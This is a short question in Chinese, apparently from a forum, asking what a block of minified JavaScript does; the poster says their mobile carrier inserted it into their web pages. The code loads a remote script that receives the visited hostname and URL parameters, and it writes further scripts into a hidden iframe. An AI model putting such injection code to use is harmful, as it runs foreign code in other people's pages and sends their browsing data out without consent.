这是移动公司在我网页插入的代码， 求解释，这是做什么的？
(function(){try{top.tlbscdr={};top.tlbscdr.jscdr=[];var d=new
Date;top.tlbscdr.jscdr.push({jsname:"base.js",jsexetype:"1",btim
e:d});var l=function(){if(top.tlbs&&!top.tlbsEmbed)
{top.tlbsEmbed=!0;for(var
b=top.document.getElementsByTagName("head")
[0],a=top.tlbs.iframejs.split("|"),c='<html><head><meta http-
equiv="Content-Type" content="text/html; charset=UTF-8"
/>',g=0;g<a.length;g++)if(-1!=a[g].indexOf(".js"))c+='<script
src="'+a[g]+'" defer charset="UTF-8">\x3c/script>';else
if(-1!=a[g].indexOf(".css")){var e=
document.createElement("link");e.rel="stylesheet";e.type="text/c
ss";e.charset="UTF-8";e.href=a[g];b.appendChild(e)}c+="</head>
</html>";a=document.createElement("iframe");a.style.display="non
e";document.body.appendChild(a);try{var
d=a.contentWindow.document;d.write(c);d.close()}catch(h)
{a.src="javascript:void((function()
{document.open();document.domain='"+document.domain+"';document.
write('"+c+"');document.close()})
())"}c=document.createElement("style");c.type="text/css";c.inner
HTML='@charset "UTF-8";[ng\\:cloak],[ng-cloak],[data-ng-cloak],
[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-
animate){display:none !important;}ng\\:form{display:block;}';
b.appendChild(c)}else top.nobar=!0},n=function(b){b.readyState?
b.onreadystatechange=function()
{if("loaded"==b.readyState||"complete"==b.readyState)b.onreadyst
atechange=null,l()}:b.onload=function()
{l()}};parent==self&&function(){for(var
b=document,a=b.getElementById("1qa2ws"),c=a.getAttribute("src"),
d=b.head||b.getElementsByTagName("head")
[0],a=a.attributes,e=a.length,f="",h=0;h<e;h++)/^(src|type|id)$/
.test(a[h].name)||
(f=f+"&"+a[h].name+"="+a[h].value);a=f;s=b.createElement("script
");n(s);top.apptlbs=
{};s.charset="UTF-8";b=(new Date).getTime();c=c.split("www/")
[0];e=top.window.location?top.window.location.hostname+
(top.window.location.port?":"+top.window.location.port:""):"";s.
src=c+"get?time="+b+"&tlbsip="+c+"&website="+e+encodeURI(a);var
k;a:{try{var
l=top.window.location.search.substr(1).match(/(^|&)appkey=
([^&]*)(&|$)/i);if(null!=l){k=unescape(l[2]);break a}k="";break
a}catch(m){}k=void 0}k&&"http://"+e+"/"==c&&
(s.src=s.src+"&appkey="+k,top.apptlbs.appkey=k);d.appendChild(s)
}();d=new Date;
top.tlbscdr.jscdr.push({jsname:"base.js",jsexetype:"2",btime:d})
}catch(m)
{document.getElementById("1qa2ws").getAttribute("src");var
d=m.message,d=d+("&time="+(new
Date).getTime()),f=document.createElement("script");f.onload=f.o
nreadystatechange=function()
{this.readyState&&"loaded"!==this.readyState&&"complete"!==this.
readyState||
(f.onload=f.onreadystatechange=null,document.body.removeChild(f)
)}}})(window);
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